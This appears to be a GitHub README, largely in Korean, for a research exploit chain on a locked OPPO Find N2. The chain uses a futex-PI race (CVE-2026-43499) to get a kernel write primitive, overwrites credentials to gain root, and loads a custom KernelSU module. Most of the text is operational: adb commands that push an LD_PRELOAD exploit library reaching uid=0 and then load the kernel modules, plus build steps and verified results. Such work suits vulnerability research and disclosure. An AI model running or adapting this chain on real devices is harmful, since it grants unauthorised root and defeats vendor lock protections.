
OPPO Find N2 GhostLock (CVE-2026-43499) 익스플로잇 변형
잠긴 OPPO Find N2에서의 KernelSU late-load — 전체 체인, 자체 빌드 LKM, 부트로더 언락 없음.
futex-PI 쓰기 프리미티브 → cred 덮어쓰기 → ADRP 오버플로 수정 → kernelsu.ko 라이브
자체 컴파일한 KernelSU 커널 모듈을 순정, OTA 잠금 상태의 OPPO Find N2 (PGU110 / SM8475) 에
로드하는 완전하고 동작하는 연구 체인 — SELinux가 Enforcing 상태를 유지하는 가운데
su -c id → uid=0 … context=u:r:ksu:s0로 마무리됩니다.
lkm-build/에 있는 모든 것(로더, 심볼 월 shim, 빌드 시스템)은 이 저장소의 독자 작업물이며,
유저랜드 익스플로잇은 이 기기에 맞게 적응시킨 matisse 프레임워크의 GPL-3.0 포팅입니다
(NOTICE 참조).
① futex PI requeue race → kernel write primitive (GhostLock, CVE-2026-43499)
② task->cred = &init_cred → CapEff 0000000000000000 → 000001ffffffffff
③ gate check → capable() ✓ SELinux ✓ domain ✓ (the wall was never here)
④ finit_module → R_AARCH64_ADR_PREL_PG_HI21 overflow ← the real wall
fixed by -mcmodel=large: reloc-275 1497 → 0
⑤ kernelsu.ko live → /system/bin/su · u:r:ksu:s0 · SELinux Enforcing
| 쓰기 프리미티브 | 기기에서 CapEff: 000001ffffffffff 관찰됨 (3/3회 실행) |
| 재배치 수정 | type-275 개수 1497 → 0 (ELF .rela 히스토그램 검증 완료) |
| 심볼 장벽 | TRIM_UNUSED_KSYMS가 49개 심볼을 잘라냄 → kprobe 부트스트랩 + 전방 선언 → 0 undefined |
| SCM 게이트 | scmversion이 g74d132f4467a로 고정됨, 바이트 단위로 정확히 일치 |
| 안정성 | 사전 점검 게이트 + 부하 감소 레시피; 최종 가동 시간 27시간 이상 무중단 |
# 1) kernel modules are built by GitHub Actions (build-lkm.yml) — download artifacts,
# or build locally:
KSRC=<vendor-tree> KSU=<KernelSU> CLANG=<clang12> CONFIG=config-5.10.236 \
bash lkm-build/build-lkm.sh
# 2) stage-A write primitive (userland)
adb push exploit-v29/build/oppo-find_n2/bin/preload.so /data/local/tmp/preload29.so
adb shell "LD_PRELOAD=/data/local/tmp/preload29.so /system/bin/toybox id" # uid=0
# 3) stage-B late-load
adb push lkm-build/out/ksu_min_load.ko lkm-build/out/kernelsu.ko /data/local/tmp/
# 4) verify
adb shell "su -c id" # uid=0 … context=u:r:ksu:s0
adb shell "grep kernelsu /proc/modules" # kernelsu … Live
exploit-v29/ userland exploit (matisse port, GPL-3.0) + Find-N2 offsets
lkm-build/ ★ original build system: loader · symbol shim · CI scripts
analysis-scripts/ ELF / symbol / offset tooling
test-programs/ standalone PoC probes (C sources only)
docs/ research notes · evidence logs · handoff snapshots
RESEARCH.md ★ full technical write-up (§1–§10)
모든 막다른 길, dmesg 출력 한 줄, 그리고 수정 사항이 RESEARCH.md 에 문서화되어 있습니다 — 권한 게이트가 왜 문제가 아니었는지, ADRP 오버플로가 어떻게 발견되고 제거되었는지, 그리고 5.10.246 OTA 이후 무엇이 바뀌었는지까지 포함합니다.
exploit-v29/의 업스트림lkm-build/minload/
는 독자 구현이며, 비교는 RESEARCH.md §8에 있습니다lkm-build/, 문서, 스크립트: GPL-2.0-only · exploit-v29/: GPL-3.0 (업스트림)